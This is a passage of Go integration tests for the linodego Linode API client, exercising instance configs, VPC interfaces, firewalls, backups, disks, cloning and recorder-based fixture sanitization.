SubnetID: &vpcSubnet.ID, IPv4: &VPCIPv4{ NAT1To1: &NAT1To1Any, }, }, } config, err = client.UpdateInstanceConfig(context.Background(), instance.ID, config.ID, updateConfigOpts) if err != nil { teardown() t.Fatal(err) } return client, vpc, vpcSubnet, instance, config, teardown } func TestInstance_ConfigInterfaces_AppendDelete(t *testing.T) { client, _, subnet, instance, config, teardown, err := setupVPCWithSubnetWithInstance( t, "fixtures/TestInstance_ConfigInterfaces_AppendDelete", func(client *Client, opts *InstanceCreateOptions) { // Ensure we're in a region that supports VLANs opts.Region = getRegionsWithCaps(t, client, []string{"vlans", "VPCs"})[0] }, ) defer teardown() if err != nil { t.Fatal(err) } appednOpts := InstanceConfigInterfaceCreateOptions{ Purpose: InterfacePurposeVPC, SubnetID: &subnet.ID, } intfc, err := client.AppendInstanceConfigInterface( context.Background(), instance.ID, config.ID, appednOpts, ) if err != nil { t.Error(err) } if intfc.ID == 0 || appednOpts.Purpose != intfc.Purpose || *appednOpts.SubnetID != *intfc.SubnetID { t.Errorf( "failed to append an interface to instance %v config %v", instance.ID, config.ID, ) } interfaces, err := client.ListInstanceConfigInterfaces( context.Background(), instance.ID, config.ID, ) if err != nil { t.Error(err) } interfacesLength := len(interfaces) err = client.DeleteInstanceConfigInterface( context.Background(), instance.ID, config.ID, intfc.ID, ) if err != nil { t.Error(err) } updatedInterfaces, err := client.ListInstanceConfigInterfaces( context.Background(), instance.ID, config.ID, ) if err != nil { t.Error(err) } if len(updatedInterfaces) > interfacesLength { t.Errorf( "failed to delete interface %v of config %v of instance %v", intfc.ID, config.ID, instance.ID, ) } } func TestInstance_ConfigInterfaces_Reorder(t *testing.T) { client, _, _, instance, config, teardown := setupInstanceWith3Interfaces( t, "fixtures/TestInstance_ConfigInterfaces_Reorder", ) defer teardown() desiredIDs := []int{ config.Interfaces[1].ID, config.Interfaces[0].ID, config.Interfaces[2].ID, } err := client.ReorderInstanceConfigInterfaces( context.Background(), instance.ID, config.ID, InstanceConfigInterfacesReorderOptions{ IDs: desiredIDs, }, ) if err != nil { t.Error(err) } reorderedInterfacesConfig, err := client.GetInstanceConfig( context.Background(), instance.ID, config.ID, ) if err != nil { t.Error(err) } reorderedIDs := []int{ reorderedInterfacesConfig.Interfaces[0].ID, reorderedInterfacesConfig.Interfaces[1].ID, reorderedInterfacesConfig.Interfaces[2].ID, } if !reflect.DeepEqual(reorderedIDs, desiredIDs) { t.Errorf( "interface IDs reordering failed, desired IDs: %v, appeared IDs: %v", desiredIDs, reorderedIDs, ) } } func TestInstance_ConfigInterfaces_List(t *testing.T) { client, _, _, instance, config, teardown := setupInstanceWith3Interfaces( t, "fixtures/TestInstance_ConfigInterfaces_List", ) defer teardown() interfaces, err := client.ListInstanceConfigInterfaces( context.Background(), instance.ID, config.ID, ) if err != nil { t.Error(err) } if !(len(interfaces) == 3 && interfaces[0].ID != 0 && interfaces[1].ID != 0 && interfaces[2].ID != 0) { t.Errorf("failed to list all interfaces of config %v", config.ID) } } // testing config interfaces update via config API func TestInstance_ConfigInterfaces_Update(t *testing.T) { client, _, vpcSubnet, instance, config, teardown, err := setupVPCWithSubnetWithInstance( t, "fixtures/TestInstance_ConfigInterfaces_Update", func(client *Client, opts *InstanceCreateOptions) { // Ensure we're in a region that supports VLANs opts.Region = getRegionsWithCaps(t, client, []string{"vlans", "VPCs"})[0] }, ) defer teardown() if err != nil { t.Error(err) } updateConfigOpts := config.GetUpdateOptions() updateConfigOpts.Interfaces = []InstanceConfigInterfaceCreateOptions{ { Purpose: InterfacePurposePublic, }, { Purpose: InterfacePurposeVLAN, Label: "testvlan", }, { Purpose: InterfacePurposeVPC, SubnetID: &vpcSubnet.ID, IPv4: &VPCIPv4{ VPC: "192.168.0.87", }, }, } _, err = client.UpdateInstanceConfig(context.Background(), instance.ID, config.ID, updateConfigOpts) if err != nil { t.Error(err) } result, err := client.GetInstanceConfig(context.Background(), instance.ID, config.ID) if err != nil { t.Error(err) } interfaceOptsList := make([]InstanceConfigInterfaceCreateOptions, len(result.Interfaces)) for index, configInterface := range result.Interfaces { interfaceOptsList[index] = configInterface.GetCreateOptions() } if !reflect.DeepEqual( interfaceOptsList, updateConfigOpts.Interfaces, ) { t.Error("failed to update linode interfaces: configs do not match") } // Ensure that a nil value will not update interfaces result, err = client.UpdateInstanceConfig(context.Background(), instance.ID, config.ID, InstanceConfigUpdateOptions{}) if err != nil { t.Error(err) } interfaceOptsList = make([]InstanceConfigInterfaceCreateOptions, len(result.Interfaces)) for index, configInterface := range result.Interfaces { interfaceOptsList[index] = configInterface.GetCreateOptions() } if !reflect.DeepEqual( interfaceOptsList, updateConfigOpts.Interfaces, ) { t.Error("failed to update linode interfaces: configs do not match") } } // testing config interface update via interfaces API func TestInstance_ConfigInterface_Update(t *testing.T) { client, _, vpcSubnet, instance, config, teardown, err := setupVPCWithSubnetWithInstance( t, "fixtures/TestInstance_ConfigInterface_Update", func(client *Client, opts *InstanceCreateOptions) { // Ensure we're in a region that supports VLANs opts.Region = getRegionsWithCaps(t, client, []string{"vlans", "VPCs"})[0] }, ) defer teardown() if err != nil { t.Error(err) } intfc, err := client.AppendInstanceConfigInterface( context.Background(), instance.ID, config.ID, InstanceConfigInterfaceCreateOptions{ Purpose: InterfacePurposeVPC, SubnetID: &vpcSubnet.ID, }, ) if err != nil { t.Errorf("an error occurs when appending an interface to config %v: %v", config.ID, err) } updateOpts := intfc.GetUpdateOptions() updateOpts.Primary = true updatedIntfc, err := client.UpdateInstanceConfigInterface( context.Background(), instance.ID, config.ID, intfc.ID, updateOpts, ) if err != nil { t.Errorf("an error occurs when updating an interface in config %v", config.ID) } if !(updatedIntfc.Primary == updateOpts.Primary) { t.Errorf("updating interface %v didn't succeed", intfc.ID) } NAT1To1Any := "any" updateOpts.IPv4 = &VPCIPv4{ VPC: "192.168.0.10", NAT1To1: &NAT1To1Any, } updatedIntfc, err = client.UpdateInstanceConfigInterface( context.Background(), instance.ID, config.ID, intfc.ID, updateOpts, ) if err != nil { t.Errorf("an error occurs when updating an interface in config %v", config.ID) } if !(updatedIntfc.Primary == updateOpts.Primary && updateOpts.IPv4.VPC == updatedIntfc.IPv4.VPC) { t.Errorf("updating interface %v didn't succeed", intfc.ID) } } func TestInstance_Configs_List(t *testing.T) { client, instance, config, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_Configs_List") defer teardown() if err != nil { t.Error(err) } configs, err := client.ListInstanceConfigs(context.Background(), instance.ID, nil) if err != nil { t.Errorf("Error listing instance configs, expected struct, got error %v", err) } if len(configs) == 0 { t.Errorf("Expected a list of instance configs, but got %v", configs) } if configs[0].ID != config.ID { t.Errorf("Expected config id %d, got %d", configs[0].ID, config.ID) } } func TestInstance_Config_Update(t *testing.T) { client, instance, config, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_Config_Update") defer teardown() if err != nil { t.Error(err) } updateConfigOpts := InstanceConfigUpdateOptions{ Label: "go-conf-test-" + randLabel(), Devices: &InstanceConfigDeviceMap{}, RootDevice: "/dev/root", } _, err = client.UpdateInstanceConfig(context.Background(), instance.ID, config.ID, updateConfigOpts) if err != nil { t.Error(err) } } golang-github-linode-linodego-1.28.0/test/integration/instance_firewalls_test.go000066400000000000000000000027151455402072200301510ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" ) func TestInstanceFirewalls_List(t *testing.T) { client, instance, _, teardown, err := setupInstanceFirewall(t, []firewallModifier{ func(createOpts *linodego.FirewallCreateOptions) { createOpts.Label = "linodego-fw-ins-test" }, }, "fixtures/TestInstanceFirewalls_List") if err != nil { t.Error(err) } defer teardown() result, err := client.ListInstanceFirewalls(context.Background(), instance.ID, nil) if err != nil { t.Errorf("Error listing Firewalls, expected struct, got error %v", err) } if len(result) == 0 { t.Errorf("Expected a list of Firewalls, but got none: %v", err) } } func setupInstanceFirewall(t *testing.T, firewallModifiers []firewallModifier, fixturesYaml string) (*linodego.Client, *linodego.Instance, *linodego.Firewall, func(), error) { t.Helper() client, instance, instanceTeardown, err := setupInstance(t, fixturesYaml, func(client *linodego.Client, opts *linodego.InstanceCreateOptions) { opts.Label = "linodego-fw-inst-test" }) device := linodego.DevicesCreationOptions{Linodes: []int{instance.ID}} firewallModifiers = append(firewallModifiers, func(createOpts *linodego.FirewallCreateOptions) { createOpts.Devices = device }) firewall, firewallTeardown, err := createFirewall(t, client, firewallModifiers...) teardown := func() { firewallTeardown() instanceTeardown() } return client, instance, firewall, teardown, err } golang-github-linode-linodego-1.28.0/test/integration/instance_snapshots_test.go000066400000000000000000000104751455402072200302050ustar00rootroot00000000000000package integration import ( "context" "testing" "time" "github.com/linode/linodego" ) var testSnapshotLabel = "snapshot-linodego-testing" func TestInstanceBackups_List(t *testing.T) { client, instance, backup, teardown, err := setupInstanceBackup(t, "fixtures/TestInstanceBackups_List") defer teardown() if err != nil { t.Error(err) } backupGotten, err := client.GetInstanceSnapshot(context.Background(), instance.ID, backup.ID) if err != nil { t.Errorf("Error getting backup: %v", err) } else if backupGotten.Label != backup.Label { t.Errorf("Error getting backup, Labels dont match") } // Get updated instance info instance, err = client.GetInstance(context.Background(), instance.ID) if err != nil { t.Fatalf("failed to get instance: %s", err) } if !instance.Backups.Available { t.Fatalf("expected Backups.Available to be true, got false") } assertDateSet(t, backupGotten.Created) assertDateSet(t, backupGotten.Updated) backups, err := client.GetInstanceBackups(context.Background(), instance.ID) if err != nil { t.Errorf("Error getting backups: %v", err) } if backups.Snapshot.InProgress == nil && backups.Snapshot.Current == nil { t.Errorf("Error getting snapshot: No Current or InProgress Snapshot") } if backups.Snapshot.InProgress != nil && backups.Snapshot.InProgress.Label != testSnapshotLabel { t.Errorf("Expected snapshot did not match inprogress snapshot: %v", backups.Snapshot.InProgress) } else if backups.Snapshot.Current != nil && backups.Snapshot.Current.Label != testSnapshotLabel { t.Errorf("Expected snapshot did not match current snapshot: %v", backups.Snapshot.Current) } backup, err = client.WaitForSnapshotStatus(context.Background(), instance.ID, backup.ID, linodego.SnapshotSuccessful, 360) if err != nil { t.Errorf("Error waiting for snapshot: %v", err) } if !backup.Available { t.Fatal("expected backup to be available") } restoreOpts := linodego.RestoreInstanceOptions{ LinodeID: instance.ID, Overwrite: true, } now := time.Now() err = client.RestoreInstanceBackup(context.Background(), instance.ID, backup.ID, restoreOpts) if err != nil { t.Errorf("Error restoring backup: %v", err) } err = client.CancelInstanceBackups(context.Background(), instance.ID) if err != nil { t.Errorf("Error cancelling backups: %v", err) } // wait for instnace to restore _, err = client.WaitForEventFinished(context.Background(), instance.ID, linodego.EntityLinode, linodego.ActionBackupsRestore, now, 360) if err != nil { t.Errorf("Error waiting for snapshot to complete: %v", err) } } func setupInstanceBackup(t *testing.T, fixturesYaml string) (*linodego.Client, *linodego.Instance, *linodego.InstanceSnapshot, func(), error) { t.Helper() client, instance, _, fixtureTeardown, err := setupInstanceWithoutDisks(t, fixturesYaml) if err != nil { t.Errorf("Error creating instance, got error %v", err) } client.WaitForInstanceStatus(context.Background(), instance.ID, linodego.InstanceOffline, 180) createOpts := linodego.InstanceDiskCreateOptions{ Size: 10, Label: "linodego-disk-test", Filesystem: "ext4", } disk, err := client.CreateInstanceDisk(context.Background(), instance.ID, createOpts) if err != nil { t.Errorf("Error creating Instance Disk: %v", err) } // wait for disk to finish provisioning event, err := client.WaitForEventFinished(context.Background(), instance.ID, linodego.EntityLinode, linodego.ActionDiskCreate, *disk.Created, 240) if err != nil { t.Errorf("Error waiting for instance snapshot: %v", err) } if event.Status == linodego.EventFailed { t.Errorf("Error creating instance disk: Disk Create Failed") } err = client.EnableInstanceBackups(context.Background(), instance.ID) if err != nil { t.Errorf("Error enabling Instance Backups: %v", err) } snapshot, err := client.CreateInstanceSnapshot(context.Background(), instance.ID, testSnapshotLabel) if err != nil { t.Errorf("Error creating instance snapshot: %v", err) } event, err = client.WaitForEventFinished(context.Background(), instance.ID, linodego.EntityLinode, linodego.ActionLinodeSnapshot, *instance.Created, 240) if err != nil { t.Errorf("Error waiting for instance snapshot: %v", err) } if event.Status == linodego.EventFailed { t.Errorf("Error taking instance snapshot: Snapshot Failed") } return client, instance, snapshot, fixtureTeardown, err } golang-github-linode-linodego-1.28.0/test/integration/instance_stats_test.go000066400000000000000000000025001455402072200273070ustar00rootroot00000000000000package integration import ( "context" "reflect" "testing" "github.com/google/go-cmp/cmp" "github.com/jarcoal/httpmock" "github.com/linode/linodego" ) func TestInstanceStats_Get(t *testing.T) { client := createMockClient(t) desiredResponse := linodego.InstanceStats{ Title: "test_title", Data: linodego.InstanceStatsData{ CPU: [][]float64{}, IO: linodego.StatsIO{ IO: [][]float64{{1.2, 2.3}, {3.4, 4.5}}, Swap: [][]float64{{14, 2.3}, {34, 4.5}}, }, NetV4: linodego.StatsNet{ In: [][]float64{{1.2, 2.3}, {3.4, 4.5}}, Out: [][]float64{{1, 2}, {3, 4}}, PrivateIn: [][]float64{{2, 3}, {4, 5}}, PrivateOut: [][]float64{{12.1, 2.33}, {4.4, 4.5}}, }, NetV6: linodego.StatsNet{ In: [][]float64{{1.2, .3}, {3.4, .5}}, Out: [][]float64{{0, 2.3}, {3, 4.55}}, PrivateIn: [][]float64{{1.24, 3}, {3, 5}}, PrivateOut: [][]float64{{1, 6}, {7, 8}}, }, }, } httpmock.RegisterRegexpResponder("GET", mockRequestURL(t, "/instances/36183732/stats"), httpmock.NewJsonResponderOrPanic(200, &desiredResponse)) questions, err := client.GetInstanceStats(context.Background(), 36183732) if err != nil { t.Fatal(err) } if !reflect.DeepEqual(*questions, desiredResponse) { t.Fatalf("actual response does not equal desired response: %s", cmp.Diff(questions, desiredResponse)) } } golang-github-linode-linodego-1.28.0/test/integration/instances_test.go000066400000000000000000000374041455402072200262670ustar00rootroot00000000000000package integration import ( "context" "encoding/base64" "strconv" "testing" "github.com/linode/linodego" ) type instanceModifier func(*linodego.Client, *linodego.InstanceCreateOptions) func TestInstances_List(t *testing.T) { client, instance, _, teardown, err := setupInstanceWithoutDisks( t, "fixtures/TestInstances_List", func(client *linodego.Client, options *linodego.InstanceCreateOptions) { options.Region = "eu-west" // Override for metadata availability }, ) defer teardown() if err != nil { t.Error(err) } listOpts := linodego.NewListOptions(1, "{\"id\": "+strconv.Itoa(instance.ID)+"}") linodes, err := client.ListInstances(context.Background(), listOpts) if err != nil { t.Errorf("Error listing instances, expected struct, got error %v", err) } if len(linodes) != 1 { t.Errorf("Expected a list of instances, but got %v", linodes) } if linodes[0].ID != instance.ID { t.Errorf("Expected list of instances to include test instance, but got %v", linodes) } if linodes[0].HostUUID == "" { t.Errorf("failed to get instance HostUUID") } if linodes[0].HasUserData { t.Errorf("expected instance.HasUserData to be false, got true") } if linodes[0].Specs.GPUs < 0 { t.Errorf("failed to retrieve number of GPUs") } } func TestInstance_Get_smoke(t *testing.T) { client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_Get") defer teardown() if err != nil { t.Error(err) } instanceGot, err := client.GetInstance(context.Background(), instance.ID) if err != nil { t.Errorf("Error getting instance: %s", err) } if instanceGot.ID != instance.ID { t.Errorf("Expected instance ID %d to match %d", instanceGot.ID, instance.ID) } if instance.Specs.Disk <= 0 { t.Errorf("Error parsing instance spec for disk size: %v", instance.Specs) } if instance.HostUUID == "" { t.Errorf("failed to get instance HostUUID") } assertDateSet(t, instance.Created) assertDateSet(t, instance.Updated) } func TestInstance_Resize(t *testing.T) { client, instance, teardown, err := setupInstance( t, "fixtures/TestInstance_Resize", func(client *linodego.Client, options *linodego.InstanceCreateOptions) { boot := true options.Type = "g6-nanode-1" options.Booted = &boot }, ) defer teardown() if err != nil { t.Error(err) } instance, err = client.WaitForInstanceStatus( context.Background(), instance.ID, linodego.InstanceRunning, 180, ) if err != nil { t.Errorf("Error waiting for instance readiness for resize: %s", err.Error()) } err = client.ResizeInstance( context.Background(), instance.ID, linodego.InstanceResizeOptions{ Type: "g6-standard-1", MigrationType: "warm", }, ) if err != nil { t.Errorf("failed to resize instance %d: %v", instance.ID, err.Error()) } } func TestInstance_Disks_List(t *testing.T) { client, instance, teardown, err := setupInstance(t, "fixtures/TestInstance_Disks_List") defer teardown() if err != nil { t.Error(err) } disks, err := client.ListInstanceDisks(context.Background(), instance.ID, nil) if err != nil { t.Errorf("Error listing instance disks, expected struct, got error %v", err) } if len(disks) == 0 { t.Errorf("Expected a list of instance disks, but got %v", disks) } } func TestInstance_Disk_Resize(t *testing.T) { client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_Disk_Resize") defer teardown() if err != nil { t.Error(err) } instance, err = client.WaitForInstanceStatus(context.Background(), instance.ID, linodego.InstanceOffline, 180) if err != nil { t.Errorf("Error waiting for instance readiness for resize: %s", err) } disk, err := client.CreateInstanceDisk(context.Background(), instance.ID, linodego.InstanceDiskCreateOptions{ Label: "disk-test-" + randLabel(), Filesystem: "ext4", Size: 2000, }) if err != nil { t.Errorf("Error creating disk for resize: %s", err) } disk, err = client.WaitForInstanceDiskStatus(context.Background(), instance.ID, disk.ID, linodego.DiskReady, 180) if err != nil { t.Errorf("Error waiting for disk readiness for resize: %s", err) } err = client.ResizeInstanceDisk(context.Background(), instance.ID, disk.ID, 4000) if err != nil { t.Errorf("Error resizing instance disk: %s", err) } } func TestInstance_Disk_ListMultiple(t *testing.T) { // This is a long running test client, instance1, teardown1, err := setupInstance(t, "fixtures/TestInstance_Disk_ListMultiple_Primary") defer teardown1() if err != nil { t.Error(err) } err = client.BootInstance(context.Background(), instance1.ID, 0) if err != nil { t.Error(err) } instance1, err = client.WaitForInstanceStatus(context.Background(), instance1.ID, linodego.InstanceRunning, 180) if err != nil { t.Errorf("Error waiting for instance readiness: %s", err) } disks, err := client.ListInstanceDisks(context.Background(), instance1.ID, nil) if err != nil { t.Error(err) } disk, err := client.WaitForInstanceDiskStatus(context.Background(), instance1.ID, disks[0].ID, linodego.DiskReady, 180) if err != nil { t.Errorf("Error waiting for disk readiness: %s", err) } imageLabel := "go-test-image-" + randLabel() imageCreateOptions := linodego.ImageCreateOptions{Label: imageLabel, DiskID: disk.ID} image, err := client.CreateImage(context.Background(), imageCreateOptions) defer client.DeleteImage(context.Background(), image.ID) if err != nil { t.Error(err) } client, instance2, _, teardown2, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_Disk_ListMultiple_Secondary") defer teardown2() if err != nil { t.Error(err) } instance2, err = client.WaitForInstanceStatus(context.Background(), instance2.ID, linodego.InstanceOffline, 180) if err != nil { t.Errorf("Error waiting for instance readiness: %s", err) } _, err = client.WaitForEventFinished(context.Background(), instance1.ID, linodego.EntityLinode, linodego.ActionDiskImagize, *disk.Created, 300) if err != nil { t.Errorf("Error waiting for imagize event: %s", err) } _, err = client.CreateInstanceDisk(context.Background(), instance2.ID, linodego.InstanceDiskCreateOptions{ Label: "go-disk-test-" + randLabel(), Image: image.ID, RootPass: randPassword(), Size: 2000, }) if err != nil { t.Errorf("Error creating disk from private image: %s", err) } _, err = client.CreateInstanceDisk(context.Background(), instance2.ID, linodego.InstanceDiskCreateOptions{ Label: "go-disk-test-" + randLabel(), Size: 2000, }) if err != nil { t.Errorf("Error creating disk after a private image: %s", err) } disks, err = client.ListInstanceDisks(context.Background(), instance2.ID, nil) if err != nil { t.Errorf("Error listing instance disks, expected struct, got error %v", err) } if len(disks) != 2 { t.Errorf("Expected a list of instance disks, but got %v", disks) } } func TestInstance_Disk_ResetPassword(t *testing.T) { client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_Disk_ResetPassword") defer teardown() if err != nil { t.Error(err) } instance, err = client.WaitForInstanceStatus(context.Background(), instance.ID, linodego.InstanceOffline, 180) if err != nil { t.Errorf("Error waiting for instance readiness for password reset: %s", err) } disk, err := client.CreateInstanceDisk(context.Background(), instance.ID, linodego.InstanceDiskCreateOptions{ Label: "go-disk-test-" + randLabel(), Filesystem: "ext4", Image: "linode/debian9", RootPass: randPassword(), Size: 2000, }) if err != nil { t.Errorf("Error creating disk for password reset: %s", err) } instance, err = client.WaitForInstanceStatus(context.Background(), instance.ID, linodego.InstanceOffline, 180) if err != nil { t.Errorf("Error waiting for instance readiness after creating disk for password reset: %s", err) } disk, err = client.WaitForInstanceDiskStatus(context.Background(), instance.ID, disk.ID, linodego.DiskReady, 180) if err != nil { t.Errorf("Error waiting for disk readiness for password reset: %s", err) } err = client.PasswordResetInstanceDisk(context.Background(), instance.ID, disk.ID, "r34!_b4d_p455") if err != nil { t.Errorf("Error reseting password on instance disk: %s", err) } } func TestInstance_Volumes_List(t *testing.T) { client, instance, config, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_Volumes_List_Instance") defer teardown() if err != nil { t.Error(err) } clientVol, volume, teardown, err := setupVolume(t, "fixtures/TestInstance_Volumes_List") defer teardown() if err != nil { t.Error(err) } configOpts := linodego.InstanceConfigUpdateOptions{ Label: "go-vol-test" + randLabel(), Devices: &linodego.InstanceConfigDeviceMap{ SDA: &linodego.InstanceConfigDevice{ VolumeID: volume.ID, }, }, } _, err = client.UpdateInstanceConfig(context.Background(), instance.ID, config.ID, configOpts) if err != nil { t.Error(err) } volumes, err := clientVol.ListInstanceVolumes(context.Background(), instance.ID, nil) if err != nil { t.Errorf("Error listing instance volumes, expected struct, got error %v", err) } if len(volumes) == 0 { t.Errorf("Expected an list of instance volumes, but got %v", volumes) } } func TestInstance_CreateUnderFirewall(t *testing.T) { client, firewall, firewallTeardown, err := setupFirewall( t, []firewallModifier{}, "fixtures/TestInstance_CreateUnderFirewall", ) defer firewallTeardown() if err != nil { t.Error(err) } _, _, teardownInstance, err := createInstanceWithoutDisks( t, client, func(_ *linodego.Client, options *linodego.InstanceCreateOptions) { options.FirewallID = firewall.ID }, ) defer teardownInstance() if err != nil { t.Error(err) } } func TestInstance_Rebuild(t *testing.T) { client, instance, _, teardown, err := setupInstanceWithoutDisks( t, "fixtures/TestInstance_Rebuild", func(client *linodego.Client, options *linodego.InstanceCreateOptions) { options.Region = getRegionsWithCaps(t, client, []string{"Metadata"})[0] }, ) defer teardown() if err != nil { t.Error(err) } _, err = client.WaitForEventFinished(context.Background(), instance.ID, linodego.EntityLinode, linodego.ActionLinodeCreate, *instance.Created, 180) if err != nil { t.Errorf("Error waiting for instance created: %s", err) } rebuildOpts := linodego.InstanceRebuildOptions{ Image: "linode/alpine3.15", Metadata: &linodego.InstanceMetadataOptions{ UserData: base64.StdEncoding.EncodeToString([]byte("cool")), }, RootPass: randPassword(), Type: "g6-standard-2", } instance, err = client.RebuildInstance(context.Background(), instance.ID, rebuildOpts) if err != nil { t.Fatal(err) } if !instance.HasUserData { t.Fatal("expected instance.HasUserData to be true, got false") } } func TestInstance_Clone(t *testing.T) { var targetRegion string client, instance, teardownOriginalLinode, err := setupInstance( t, "fixtures/TestInstance_Clone", func(client *linodego.Client, options *linodego.InstanceCreateOptions) { targetRegion = getRegionsWithCaps(t, client, []string{"Metadata"})[0] options.Region = targetRegion }) if err != nil { t.Fatal(err) } t.Cleanup(teardownOriginalLinode) _, err = client.WaitForEventFinished( context.Background(), instance.ID, linodego.EntityLinode, linodego.ActionLinodeCreate, *instance.Created, 180, ) if err != nil { t.Errorf("Error waiting for instance created: %s", err) } cloneOpts := linodego.InstanceCloneOptions{ Region: targetRegion, Type: "g6-nanode-1", PrivateIP: true, Metadata: &linodego.InstanceMetadataOptions{ UserData: base64.StdEncoding.EncodeToString([]byte("reallycooluserdata")), }, } clonedInstance, err := client.CloneInstance(context.Background(), instance.ID, cloneOpts) t.Cleanup(func() { client.DeleteInstance(context.Background(), clonedInstance.ID) }) if err != nil { t.Error(err) } _, err = client.WaitForEventFinished( context.Background(), instance.ID, linodego.EntityLinode, linodego.ActionLinodeClone, *clonedInstance.Created, 240, ) if err != nil { t.Fatal(err) } if clonedInstance.Image != instance.Image { t.Fatal("Clone instance image mismatched.") } clonedInstanceIPs, err := client.GetInstanceIPAddresses( context.Background(), clonedInstance.ID, ) if err != nil { t.Fatal(err) } if len(clonedInstanceIPs.IPv4.Private) == 0 { t.Fatal("No private IPv4 assigned to the cloned instance.") } if !clonedInstance.HasUserData { t.Fatal("expected instance.HasUserData to be true, got false") } } func TestInstance_withMetadata(t *testing.T) { _, inst, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestInstance_withMetadata", func(client *linodego.Client, options *linodego.InstanceCreateOptions) { options.Metadata = &linodego.InstanceMetadataOptions{ UserData: base64.StdEncoding.EncodeToString([]byte("reallycoolmetadata")), } options.Region = getRegionsWithCaps(t, client, []string{"Metadata"})[0] }) if err != nil { t.Fatal(err) } t.Cleanup(teardown) if !inst.HasUserData { t.Fatalf("expected instance.HasUserData to be true, got false") } } func createInstance(t *testing.T, client *linodego.Client, modifiers ...instanceModifier) (*linodego.Instance, error) { if t != nil { t.Helper() } booted := false createOpts := linodego.InstanceCreateOptions{ Label: "go-test-ins-" + randLabel(), RootPass: randPassword(), Region: getRegionsWithCaps(t, client, []string{"linodes"})[0], Type: "g6-nanode-1", Image: "linode/debian9", Booted: &booted, } for _, modifier := range modifiers { modifier(client, &createOpts) } return client.CreateInstance(context.Background(), createOpts) } func setupInstance(t *testing.T, fixturesYaml string, modifiers ...instanceModifier) (*linodego.Client, *linodego.Instance, func(), error) { if t != nil { t.Helper() } client, fixtureTeardown := createTestClient(t, fixturesYaml) instance, err := createInstance(t, client, modifiers...) if err != nil { t.Errorf("failed to create test instance: %s", err) } teardown := func() { if err := client.DeleteInstance(context.Background(), instance.ID); err != nil { if t != nil { t.Errorf("Error deleting test Instance: %s", err) } } fixtureTeardown() } return client, instance, teardown, err } func createInstanceWithoutDisks( t *testing.T, client *linodego.Client, modifiers ...instanceModifier, ) (*linodego.Instance, *linodego.InstanceConfig, func(), error) { t.Helper() falseBool := false createOpts := linodego.InstanceCreateOptions{ Label: "go-test-ins-wo-disk-" + randLabel(), Region: getRegionsWithCaps(t, client, []string{"linodes"})[0], Type: "g6-nanode-1", Booted: &falseBool, } for _, modifier := range modifiers { modifier(client, &createOpts) } instance, err := client.CreateInstance(context.Background(), createOpts) if err != nil { t.Errorf("Error creating test Instance: %s", err) return nil, nil, func() {}, err } configOpts := linodego.InstanceConfigCreateOptions{ Label: "go-test-conf-" + randLabel(), } config, err := client.CreateInstanceConfig(context.Background(), instance.ID, configOpts) if err != nil { t.Errorf("Error creating config: %s", err) return nil, nil, func() {}, err } teardown := func() { if terr := client.DeleteInstance(context.Background(), instance.ID); terr != nil { t.Errorf("Error deleting test Instance: %s", terr) } } return instance, config, teardown, err } func setupInstanceWithoutDisks(t *testing.T, fixturesYaml string, modifiers ...instanceModifier) (*linodego.Client, *linodego.Instance, *linodego.InstanceConfig, func(), error) { t.Helper() client, fixtureTeardown := createTestClient(t, fixturesYaml) instance, config, instanceTeardown, err := createInstanceWithoutDisks(t, client, modifiers...) teardown := func() { instanceTeardown() fixtureTeardown() } return client, instance, config, teardown, err } golang-github-linode-linodego-1.28.0/test/integration/integration_suite_test.go000066400000000000000000000141221455402072200300240ustar00rootroot00000000000000package integration import ( "context" "log" "net/http" "os" "regexp" "strconv" "strings" "testing" "time" "github.com/jarcoal/httpmock" "github.com/dnaeon/go-vcr/cassette" "github.com/dnaeon/go-vcr/recorder" "github.com/linode/linodego" "golang.org/x/oauth2" "k8s.io/client-go/transport" ) var ( testingMode = recorder.ModeDisabled debugAPI = false validTestAPIKey = "NOTANAPIKEY" ) var ( testingPollDuration = 15 * time.Second testingMaxRetryTime = 30 * time.Second ) func init() { if apiToken, ok := os.LookupEnv("LINODE_TOKEN"); ok { validTestAPIKey = apiToken } if apiDebug, ok := os.LookupEnv("LINODE_DEBUG"); ok { if parsed, err := strconv.ParseBool(apiDebug); err == nil { debugAPI = parsed log.Println("[INFO] LINODE_DEBUG being set to", debugAPI) } else { log.Println("[WARN] LINODE_DEBUG should be an integer, 0 or 1") } } if envFixtureMode, ok := os.LookupEnv("LINODE_FIXTURE_MODE"); ok { if envFixtureMode == "record" { log.Printf("[INFO] LINODE_FIXTURE_MODE %s will be used for tests", envFixtureMode) testingMode = recorder.ModeRecording } else if envFixtureMode == "play" { log.Printf("[INFO] LINODE_FIXTURE_MODE %s will be used for tests", envFixtureMode) testingMode = recorder.ModeReplaying testingPollDuration = 1 testingMaxRetryTime = time.Duration(1) * time.Microsecond } } } // testRecorder returns a go-vcr recorder and an associated function that the caller must defer func testRecorder(t *testing.T, fixturesYaml string, testingMode recorder.Mode, realTransport http.RoundTripper) (r *recorder.Recorder, recordStopper func()) { if t != nil { t.Helper() } r, err := recorder.NewAsMode(fixturesYaml, testingMode, realTransport) if err != nil { log.Fatalln(err) } r.AddFilter(func(i *cassette.Interaction) error { delete(i.Request.Headers, "Authorization") return nil }) r.AddFilter(func(i *cassette.Interaction) error { delete(i.Response.Headers, "Date") delete(i.Response.Headers, "Retry-After") delete(i.Response.Headers, "X-Customer-Uuid") delete(i.Response.Headers, "X-Ratelimit-Reset") delete(i.Response.Headers, "X-Ratelimit-Remaining") delete(i.Response.Headers, "X-Spec-Version") return nil }) r.AddFilter(func(i *cassette.Interaction) error { re := regexp.MustCompile(`"access_key": "[[:alnum:]]*"`) i.Response.Body = re.ReplaceAllString(i.Response.Body, `"access_key": "[SANITIZED]"`) re = regexp.MustCompile(`"secret_key": "[[:alnum:]]*"`) i.Response.Body = re.ReplaceAllString(i.Response.Body, `"secret_key": "[SANITIZED]"`) re = regexp.MustCompile("20[0-9]{2}-[01][0-9]-[0-3][0-9]T[0-2][0-9]:[0-9]{2}:[0-9]{2}") i.Response.Body = re.ReplaceAllString(i.Response.Body, "2018-01-02T03:04:05") // re = 